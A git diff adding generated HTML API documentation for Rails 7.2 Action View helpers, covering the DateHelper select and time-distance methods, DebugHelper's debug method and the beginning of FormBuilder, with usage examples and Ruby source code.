+distance_of_time_in_words(to_time, from_time, include_seconds: true)                        # => about 6 years
+distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
+
+ +

With the scope option, you can define a custom scope for Rails to look up the translation.

+ +

For example you can define the following in your locale (e.g. en.yml).

+ +
datetime:
+  distance_in_words:
+    short:
+      about_x_hours:
+        one: 'an hour'
+        other: '%{count} hours'
+
+ +

See github.com/svenfuchs/rails-i18n/blob/master/rails/locale/en.yml for more examples.

+ +

Which will then result in the following:

+ +
from_time = Time.now
+distance_of_time_in_words(from_time, from_time + 50.minutes, scope: 'datetime.distance_in_words.short') # => "an hour"
+distance_of_time_in_words(from_time, from_time + 3.hours, scope: 'datetime.distance_in_words.short')    # => "3 hours"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 95
+      def distance_of_time_in_words(from_time, to_time = 0, options = {})
+        options = {
+          scope: :'datetime.distance_in_words'
+        }.merge!(options)
+
+        from_time = normalize_distance_of_time_argument_to_time(from_time)
+        to_time = normalize_distance_of_time_argument_to_time(to_time)
+        from_time, to_time = to_time, from_time if from_time > to_time
+        distance_in_minutes = ((to_time - from_time) / 60.0).round
+        distance_in_seconds = (to_time - from_time).round
+
+        I18n.with_options locale: options[:locale], scope: options[:scope] do |locale|
+          case distance_in_minutes
+          when 0..1
+            return distance_in_minutes == 0 ?
+                   locale.t(:less_than_x_minutes, count: 1) :
+                   locale.t(:x_minutes, count: distance_in_minutes) unless options[:include_seconds]
+
+            case distance_in_seconds
+            when 0..4   then locale.t :less_than_x_seconds, count: 5
+            when 5..9   then locale.t :less_than_x_seconds, count: 10
+            when 10..19 then locale.t :less_than_x_seconds, count: 20
+            when 20..39 then locale.t :half_a_minute
+            when 40..59 then locale.t :less_than_x_minutes, count: 1
+            else             locale.t :x_minutes,           count: 1
+            end
+
+          when 2...45           then locale.t :x_minutes,      count: distance_in_minutes
+          when 45...90          then locale.t :about_x_hours,  count: 1
+            # 90 mins up to 24 hours
+          when 90...1440        then locale.t :about_x_hours,  count: (distance_in_minutes.to_f / 60.0).round
+            # 24 hours up to 42 hours
+          when 1440...2520      then locale.t :x_days,         count: 1
+            # 42 hours up to 30 days
+          when 2520...43200     then locale.t :x_days,         count: (distance_in_minutes.to_f / 1440.0).round
+            # 30 days up to 60 days
+          when 43200...86400    then locale.t :about_x_months, count: (distance_in_minutes.to_f / 43200.0).round
+            # 60 days up to 365 days
+          when 86400...525600   then locale.t :x_months,       count: (distance_in_minutes.to_f / 43200.0).round
+          else
+            from_year = from_time.year
+            from_year += 1 if from_time.month >= 3
+            to_year = to_time.year
+            to_year -= 1 if to_time.month < 3
+            leap_years = (from_year > to_year) ? 0 : (from_year..to_year).count { |x| Date.leap?(x) }
+            minute_offset_for_leap_year = leap_years * 1440
+            # Discount the leap year days when calculating year distance.
+            # e.g. if there are 20 leap year days between 2 dates having the same day
+            # and month then based on 365 days calculation
+            # the distance in years will come out to over 80 years when in written
+            # English it would read better as about 80 years.
+            minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
+            remainder                   = (minutes_with_offset % MINUTES_IN_YEAR)
+            distance_in_years           = (minutes_with_offset.div MINUTES_IN_YEAR)
+            if remainder < MINUTES_IN_QUARTER_YEAR
+              locale.t(:about_x_years,  count: distance_in_years)
+            elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR
+              locale.t(:over_x_years,   count: distance_in_years)
+            else
+              locale.t(:almost_x_years, count: distance_in_years + 1)
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + distance_of_time_in_words_to_now(from_time, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: time_ago_in_words +
+ + + + +
+ +
+

+ + select_date(date = Date.current, options = {}, html_options = {}) + +

+ + +
+

Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the date. It’s possible to explicitly set the order of the tags using the :order option with an array of symbols :year, :month and :day in the desired order. If the array passed to the :order option does not contain all the three symbols, all tags will be hidden.

+ +

If anything is passed in the html_options hash it will be applied to every select tag in the set.

+ +
my_date = Time.now + 6.days
+
+# Generates a date select that defaults to the date in my_date (six days after today).
+select_date(my_date)
+
+# Generates a date select that defaults to today (no specified date).
+select_date()
+
+# Generates a date select that defaults to the date in my_date (six days after today)
+# with the fields ordered year, month, day rather than month, day, year.
+select_date(my_date, order: [:year, :month, :day])
+
+# Generates a date select that discards the type of the field and defaults to the date in
+# my_date (six days after today).
+select_date(my_date, discard_type: true)
+
+# Generates a date select that defaults to the date in my_date,
+# which has fields separated by '/'.
+select_date(my_date, date_separator: '/')
+
+# Generates a date select that defaults to the datetime in my_date (six days after today)
+# prefixed with 'payday' rather than 'date'.
+select_date(my_date, prefix: 'payday')
+
+# Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+select_date(my_date, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+select_date(my_date, prompt: { hour: true }) # generic prompt for hours
+select_date(my_date, prompt: true) # generic prompts for all
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 454
+      def select_date(date = Date.current, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_date
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_datetime(datetime = Time.current, options = {}, html_options = {}) + +

+ + +
+

Returns a set of HTML select-tags (one for year, month, day, hour, minute, and second) pre-selected with the datetime. It’s also possible to explicitly set the order of the tags using the :order option with an array of symbols :year, :month and :day in the desired order. If you do not supply a Symbol, it will be appended onto the :order passed in. You can also add :date_separator, :datetime_separator and :time_separator keys to the options to control visual display of the elements.

+ +

If anything is passed in the html_options hash it will be applied to every select tag in the set.

+ +
my_date_time = Time.now + 4.days
+
+# Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
+select_datetime(my_date_time)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+
+# Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+# with the fields ordered year, month, day rather than month, day, year.
+select_datetime(my_date_time, order: [:year, :month, :day])
+
+# Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+# with a '/' between each date field.
+select_datetime(my_date_time, date_separator: '/')
+
+# Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+# with a date fields separated by '/', time fields separated by '' and the date and time fields
+# separated by a comma (',').
+select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
+
+# Generates a datetime select that discards the type of the field and defaults to the datetime in
+# my_date_time (four days after today)
+select_datetime(my_date_time, discard_type: true)
+
+# Generate a datetime field with hours in the AM/PM format
+select_datetime(my_date_time, ampm: true)
+
+# Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+# prefixed with 'payday' rather than 'date'
+select_datetime(my_date_time, prefix: 'payday')
+
+# Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+select_datetime(my_date_time, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+select_datetime(my_date_time, prompt: { hour: true }) # generic prompt for hours
+select_datetime(my_date_time, prompt: true) # generic prompts for all
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 415
+      def select_datetime(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_datetime
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_day(date, options = {}, html_options = {}) + +

+ + +
+

Returns a select tag with options for each of the days 1 through 31 with the current day selected. The date can also be substituted for a day number. If you want to display days with a leading zero set the :use_two_digit_numbers key in options to true. Override the field name using the :field_name option, β€˜day’ by default.

+ +
my_date = Time.now + 2.days
+
+# Generates a select field for days that defaults to the day for the date in my_date.
+select_day(my_date)
+
+# Generates a select field for days that defaults to the number given.
+select_day(5)
+
+# Generates a select field for days that defaults to the number given, but displays it with two digits.
+select_day(5, use_two_digit_numbers: true)
+
+# Generates a select field for days that defaults to the day for the date in my_date
+# that is named 'due' rather than 'day'.
+select_day(my_date, field_name: 'due')
+
+# Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
+# generic prompt.
+select_day(5, prompt: 'Choose day')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 597
+      def select_day(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_day
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_hour(datetime, options = {}, html_options = {}) + +

+ + +
+

Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. The datetime can be either a Time or DateTime object or an integer. Override the field name using the :field_name option, β€˜hour’ by default.

+ +
my_time = Time.now + 6.hours
+
+# Generates a select field for hours that defaults to the hour for the time in my_time.
+select_hour(my_time)
+
+# Generates a select field for hours that defaults to the number given.
+select_hour(13)
+
+# Generates a select field for hours that defaults to the hour for the time in my_time
+# that is named 'stride' rather than 'hour'.
+select_hour(my_time, field_name: 'stride')
+
+# Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
+# generic prompt.
+select_hour(13, prompt: 'Choose hour')
+
+# Generate a select field for hours in the AM/PM format
+select_hour(my_time, ampm: true)
+
+# Generates a select field that includes options for hours from 2 to 14.
+select_hour(my_time, start_hour: 2, end_hour: 14)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 570
+      def select_hour(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_hour
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_minute(datetime, options = {}, html_options = {}) + +

+ + +
+

Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. Also can return a select tag with options by minute_step from 0 through 59 with the 00 minute selected. The datetime can be either a Time or DateTime object or an integer. Override the field name using the :field_name option, β€˜minute’ by default.

+ +
my_time = Time.now + 10.minutes
+
+# Generates a select field for minutes that defaults to the minutes for the time in my_time.
+select_minute(my_time)
+
+# Generates a select field for minutes that defaults to the number given.
+select_minute(14)
+
+# Generates a select field for minutes that defaults to the minutes for the time in my_time
+# that is named 'moment' rather than 'minute'.
+select_minute(my_time, field_name: 'moment')
+
+# Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
+# generic prompt.
+select_minute(14, prompt: 'Choose minutes')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 541
+      def select_minute(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_minute
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_month(date, options = {}, html_options = {}) + +

+ + +
+

Returns a select tag with options for each of the months January through December with the current month selected. The month names are presented as keys (what’s shown to the user) and the month numbers (1-12) are used as values (what’s submitted to the server). It’s also possible to use month numbers for the presentation instead of names – set the :use_month_numbers key in options to true for this to happen. If you want both numbers and names, set the :add_month_numbers key in options to true. If you would prefer to show month names as abbreviations, set the :use_short_month key in options to true. If you want to use your own month names, set the :use_month_names key in options to an array of 12 month names. If you want to display months with a leading zero set the :use_two_digit_numbers key in options to true. Override the field name using the :field_name option, β€˜month’ by default.

+ +
# Generates a select field for months that defaults to the current month that
+# will use keys like "January", "March".
+select_month(Date.today)
+
+# Generates a select field for months that defaults to the current month that
+# is named "start" rather than "month".
+select_month(Date.today, field_name: 'start')
+
+# Generates a select field for months that defaults to the current month that
+# will use keys like "1", "3".
+select_month(Date.today, use_month_numbers: true)
+
+# Generates a select field for months that defaults to the current month that
+# will use keys like "1 - January", "3 - March".
+select_month(Date.today, add_month_numbers: true)
+
+# Generates a select field for months that defaults to the current month that
+# will use keys like "Jan", "Mar".
+select_month(Date.today, use_short_month: true)
+
+# Generates a select field for months that defaults to the current month that
+# will use keys like "Januar", "Marts."
+select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
+
+# Generates a select field for months that defaults to the current month that
+# will use keys with two digit numbers like "01", "03".
+select_month(Date.today, use_two_digit_numbers: true)
+
+# Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
+# generic prompt.
+select_month(14, prompt: 'Choose month')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 642
+      def select_month(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_month
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_second(datetime, options = {}, html_options = {}) + +

+ + +
+

Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. The datetime can be either a Time or DateTime object or an integer. Override the field name using the :field_name option, β€˜second’ by default.

+ +
my_time = Time.now + 16.seconds
+
+# Generates a select field for seconds that defaults to the seconds for the time in my_time.
+select_second(my_time)
+
+# Generates a select field for seconds that defaults to the number given.
+select_second(33)
+
+# Generates a select field for seconds that defaults to the seconds for the time in my_time
+# that is named 'interval' rather than 'second'.
+select_second(my_time, field_name: 'interval')
+
+# Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
+# generic prompt.
+select_second(14, prompt: 'Choose seconds')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 517
+      def select_second(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_second
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_time(datetime = Time.current, options = {}, html_options = {}) + +

+ + +
+

Returns a set of HTML select-tags (one for hour and minute). You can set :time_separator key to format the output, and the :include_seconds option to include an input for seconds.

+ +

If anything is passed in the html_options hash it will be applied to every select tag in the set.

+ +
my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
+
+# Generates a time select that defaults to the time in my_time.
+select_time(my_time)
+
+# Generates a time select that defaults to the current time (no specified time).
+select_time()
+
+# Generates a time select that defaults to the time in my_time,
+# which has fields separated by ':'.
+select_time(my_time, time_separator: ':')
+
+# Generates a time select that defaults to the time in my_time,
+# that also includes an input for seconds.
+select_time(my_time, include_seconds: true)
+
+# Generates a time select that defaults to the time in my_time, that has fields
+# separated by ':' and includes an input for seconds.
+select_time(my_time, time_separator: ':', include_seconds: true)
+
+# Generate a time select field with hours in the AM/PM format
+select_time(my_time, ampm: true)
+
+# Generates a time select field with hours that range from 2 to 14
+select_time(my_time, start_hour: 2, end_hour: 14)
+
+# Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
+select_time(my_time, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+select_time(my_time, prompt: { hour: true }) # generic prompt for hours
+select_time(my_time, prompt: true) # generic prompts for all
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 494
+      def select_time(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_time
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_year(date, options = {}, html_options = {}) + +

+ + +
+

Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the :start_year and :end_year keys in the options. Both ascending and descending year lists are supported by making :start_year less than or greater than :end_year. The date can also be substituted for a year given as a number. Override the field name using the :field_name option, β€˜year’ by default.

+ +
# Generates a select field for years that defaults to the current year that
+# has ascending year values.
+select_year(Date.today, start_year: 1992, end_year: 2007)
+
+# Generates a select field for years that defaults to the current year that
+# is named 'birth' rather than 'year'.
+select_year(Date.today, field_name: 'birth')
+
+# Generates a select field for years that defaults to the current year that
+# has descending year values.
+select_year(Date.today, start_year: 2005, end_year: 1900)
+
+# Generates a select field for years that defaults to the year 2006 that
+# has ascending year values.
+select_year(2006, start_year: 2000, end_year: 2010)
+
+# Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
+# generic prompt.
+select_year(14, prompt: 'Choose year')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 671
+      def select_year(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_year
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_ago_in_words(from_time, options = {}) + +

+ + +
+

Like distance_of_time_in_words, but where to_time is fixed to Time.now.

+ +
time_ago_in_words(3.minutes.from_now)                 # => 3 minutes
+time_ago_in_words(3.minutes.ago)                      # => 3 minutes
+time_ago_in_words(Time.now - 15.hours)                # => about 15 hours
+time_ago_in_words(Time.now)                           # => less than a minute
+time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
+
+from_time = Time.now - 3.days - 14.minutes - 25.seconds
+time_ago_in_words(from_time)      # => 3 days
+
+from_time = (3.days + 14.minutes + 25.seconds).ago
+time_ago_in_words(from_time)      # => 3 days
+
+ +

Note that you cannot pass a Numeric value to time_ago_in_words.

+
+ + + +
+ Also aliased as: distance_of_time_in_words_to_now +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 176
+      def time_ago_in_words(from_time, options = {})
+        distance_of_time_in_words(from_time, Time.now, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_select(object_name, method, options = {}, html_options = {}) + +

+ + +
+

Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a specified time-based attribute (identified by method) on an object assigned to the template (identified by object). You can include the seconds with :include_seconds. You can get hours in the AM/PM format with :ampm option.

+ +

This method will also generate 3 input hidden tags, for the actual year, month, and day unless the option :ignore_date is set to true. If you set the :ignore_date to true, you must have a date_select on the same method within the form otherwise an exception will be raised.

+ +

If anything is passed in the html_options hash it will be applied to every select tag in the set.

+ +
# Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
+time_select("article", "sunrise")
+
+# Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
+# the sunrise attribute.
+time_select("article", "start_time", include_seconds: true)
+
+# You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30, and 45.
+time_select 'game', 'game_time', { minute_step: 15 }
+
+# Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+time_select("article", "written_on", prompt: { hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds' })
+time_select("article", "written_on", prompt: { hour: true }) # generic prompt for hours
+time_select("article", "written_on", prompt: true) # generic prompts for all
+
+# You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
+time_select 'game', 'game_time', { ampm: true }
+
+# You can set :ignore_date option to true which will remove the hidden inputs for day,
+# month, and year that are set by default on this helper when you only want the time inputs
+time_select 'game', 'game_time', { ignore_date: true }
+
+ +

The selects are prepared for multi-parameter assignment to an Active Record object.

+ +

Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that all month choices are valid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 331
+      def time_select(object_name, method, options = {}, html_options = {})
+        Tags::TimeSelect.new(object_name, method, self, options, html_options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_tag(date_or_time, *args, &block) + +

+ + +
+

Returns an HTML time tag for the given date or time.

+ +
time_tag Date.today  # =>
+  <time datetime="2010-11-04">November 04, 2010</time>
+time_tag Time.now  # =>
+  <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
+time_tag Date.yesterday, 'Yesterday'  # =>
+  <time datetime="2010-11-03">Yesterday</time>
+time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
+  <time datetime="2010-W44">November 04, 2010</time>
+
+<%= time_tag Time.now do %>
+  <span>Right now</span>
+<% end %>
+# => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 690
+      def time_tag(date_or_time, *args, &block)
+        options  = args.extract_options!
+        format   = options.delete(:format) || :long
+        content  = args.first || I18n.l(date_or_time, format: format)
+
+        content_tag("time", content, options.reverse_merge(datetime: date_or_time.iso8601), &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/DebugHelper.html b/src/7.2/classes/ActionView/Helpers/DebugHelper.html new file mode 100644 index 0000000000..14bffd7cf1 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/DebugHelper.html @@ -0,0 +1,141 @@ +--- +title: ActionView::Helpers::DebugHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Debug Helpers

+ +

Provides a set of methods for making it easier to debug Rails objects.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + debug(object) + +

+ + +
+

Returns a YAML representation of object wrapped with <pre> and </pre>. If the object cannot be converted to YAML using to_yaml, inspect will be called instead. Useful for inspecting an object at the time of rendering.

+ +
@user = User.new({ username: 'testing', password: 'xyz', age: 42})
+debug(@user)
+# =>
+<pre class='debug_dump'>--- !ruby/object:User
+attributes:
+  updated_at:
+  username: testing
+  age: 42
+  password: xyz
+  created_at:
+</pre>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/debug_helper.rb, line 28
+      def debug(object)
+        Marshal.dump(object)
+        object = ERB::Util.html_escape(object.to_yaml)
+        content_tag(:pre, object, class: "debug_dump")
+      rescue # errors from Marshal or YAML
+        # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
+        content_tag(:code, object.inspect, class: "debug_dump")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/FormBuilder.html b/src/7.2/classes/ActionView/Helpers/FormBuilder.html new file mode 100644 index 0000000000..b30e9912b6 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/FormBuilder.html @@ -0,0 +1,2539 @@ +--- +title: ActionView::Helpers::FormBuilder +layout: default +--- +
+ +
+
+ +
+ +

Action View Form Builder

+ +

A FormBuilder object is associated with a particular model object and allows you to generate fields associated with the model object. The FormBuilder object is yielded when using form_with or fields_for. For example:

+ +
<%= form_with model: @person do |person_form| %>
+  Name: <%= person_form.text_field :name %>
+  Admin: <%= person_form.check_box :admin %>
+<% end %>
+
+ +

In the above block, a FormBuilder object is yielded as the person_form variable. This allows you to generate the text_field and check_box fields by specifying their eponymous methods, which modify the underlying template and associates the @person model object with the form.

+ +

The FormBuilder object can be thought of as serving as a proxy for the methods in the FormHelper module. This class, however, allows you to call methods with the model object you are building the form for.

+ +

You can create your own custom FormBuilder templates by subclassing this class. For example:

+ +
class MyFormBuilder < ActionView::Helpers::FormBuilder
+  def div_radio_button(method, tag_value, options = {})
+    @template.content_tag(:div,
+      @template.radio_button(
+        @object_name, method, tag_value, objectify_options(options)
+      )
+    )
+  end
+end
+
+ +

The above code creates a new method div_radio_button which wraps a div around the new radio button. Note that when options are passed in, you must call objectify_options in order for the model object to get correctly passed to the method. If objectify_options is not called, then the newly created helper will not be linked back to the model.

+ +

The div_radio_button code from above can now be used as follows:

+ +
<%= form_with model: @person, :builder => MyFormBuilder do |f| %>
+  I am a child: <%= f.div_radio_button(:admin, "child") %>
+  I am an adult: <%= f.div_radio_button(:admin, "adult") %>
+<% end -%>
+
+ +

The standard set of helper methods for form building are located in the field_helpers class attribute.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + index
+ [R] + multipart
+ [R] + multipart?
+ [RW] + object
+ [RW] + object_name
+ [RW] + options
+ + + + +

Class Public methods

+ +
+

+ + _to_partial_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1705
+      def self._to_partial_path
+        @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, "")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(object_name, object, template, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1717
+      def initialize(object_name, object, template, options)
+        @nested_child_index = {}
+        @object_name, @object, @template, @options = object_name, object, template, options
+        @default_options = @options ? @options.slice(:index, :namespace, :skip_default_ids, :allow_method_names_outside_object) : {}
+        @default_html_options = @default_options.except(:skip_default_ids, :allow_method_names_outside_object)
+
+        convert_to_legacy_options(@options)
+
+        if @object_name&.end_with?("[]")
+          if (object ||= @template.instance_variable_get("@#{@object_name[0..-3]}")) && object.respond_to?(:to_param)
+            @auto_index = object.to_param
+          else
+            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+          end
+        end
+
+        @multipart = nil
+        @index = options[:index] || options[:child_index]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + button(value = nil, options = {}, &block) + +

+ + +
+

Add the submit button for the given form. When no value is given, it checks if the object is a new resource or not to create the proper label:

+ +
<%= form_with model: @article do |f| %>
+  <%= f.button %>
+<% end %>
+
+ +

In the example above, if @article is a new record, it will use β€œCreate Article” as button label; otherwise, it uses β€œUpdate Article”.

+ +

Those labels can be customized using I18n under the helpers.submit key (the same as submit helper) and using %{model} for translation interpolation:

+ +
en:
+  helpers:
+    submit:
+      create: "Create a %{model}"
+      update: "Confirm changes to %{model}"
+
+ +

It also searches for a key specific to the given object:

+ +
en:
+  helpers:
+    submit:
+      article:
+        create: "Add %{model}"
+
+ +

Examples

+ +
button("Create article")
+# => <button name='button' type='submit'>Create article</button>
+
+button(:draft, value: true)
+# => <button id="article_draft" name="article[draft]" value="true" type="submit">Create article</button>
+
+button do
+  content_tag(:strong, 'Ask me!')
+end
+# => <button name='button' type='submit'>
+#      <strong>Ask me!</strong>
+#    </button>
+
+button do |text|
+  content_tag(:strong, text)
+end
+# => <button name='button' type='submit'>
+#      <strong>Create article</strong>
+#    </button>
+
+button(:draft, value: true) do
+  content_tag(:strong, "Save as draft")
+end
+# =>  <button id="article_draft" name="article[draft]" value="true" type="submit">
+#       <strong>Save as draft</strong>
+#     </button>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2649
+      def button(value = nil, options = {}, &block)
+        case value
+        when Hash
+          value, options = nil, value
+        when Symbol
+          value, options = nil, { name: field_name(value), id: field_id(value) }.merge!(options.to_h)
+        end
+        value ||= submit_default_value
+
+        if block_given?
+          value = @template.capture { yield(value) }
+        end
+
+        formmethod = options[:formmethod]
+        if formmethod.present? && !/post|get/i.match?(formmethod) && !options.key?(:name) && !options.key?(:value)
+          options.merge! formmethod: :post, name: "_method", value: formmethod
+        end
+
+        @template.button_tag(value, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_box(method, options = {}, checked_value = "1", unchecked_value = "0") + +

+ + +
+

Returns a checkbox tag tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). This object must be an instance object (@object) and not a local object. It’s intended that method returns an integer and if that integer is above zero, then the checkbox is checked. Additional options on the input tag can be passed as a hash with options. The checked_value defaults to 1 while the default unchecked_value is set to 0 which is convenient for boolean values.

+ +

Options

+
  • +

    Any standard HTML attributes for the tag can be passed in, for example :class.

    +
  • +

    :checked - true or false forces the state of the checkbox to be checked or not.

    +
  • +

    :include_hidden - If set to false, the auxiliary hidden field described below will not be generated.

    +
+ +

Gotcha

+ +

The HTML specification says unchecked check boxes are not successful, and thus web browsers do not send them. Unfortunately this introduces a gotcha: if an Invoice model has a paid flag, and in the form that edits a paid invoice the user unchecks its check box, no paid parameter is sent. So, any mass-assignment idiom like

+ +
@invoice.update(params[:invoice])
+
+ +

wouldn’t update the flag.

+ +

To prevent this the helper generates an auxiliary hidden field before every check box. The hidden field has the same name and its attributes mimic an unchecked check box.

+ +

This way, the client either sends only the hidden field (representing the check box is unchecked), or both fields. Since the HTML specification says key/value pairs have to be sent in the same order they appear in the form, and parameters extraction gets the last occurrence of any repeated key in the query string, that works for ordinary forms.

+ +

Unfortunately that workaround does not work when the check box goes within an array-like parameter, as in

+ +
<%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+  <%= form.check_box :paid %>
+  ...
+<% end %>
+
+ +

because parameter name repetition is precisely what Rails seeks to distinguish the elements of the array. For each item with a checked check box you get an extra ghost item with only that attribute, assigned to β€œ0”.

+ +

In that case it is preferable to either use check_box_tag or to use hashes instead of arrays.

+ +

Examples

+ +
# Let's say that @article.validated? is 1:
+check_box("validated")
+# => <input name="article[validated]" type="hidden" value="0" />
+#    <input checked="checked" type="checkbox" id="article_validated" name="article[validated]" value="1" />
+
+# Let's say that @puppy.gooddog is "no":
+check_box("gooddog", {}, "yes", "no")
+# => <input name="puppy[gooddog]" type="hidden" value="no" />
+#    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+
+# Let's say that @eula.accepted is "no":
+check_box("accepted", { class: 'eula_check' }, "yes", "no")
+# => <input name="eula[accepted]" type="hidden" value="no" />
+#    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2474
+      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
+        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
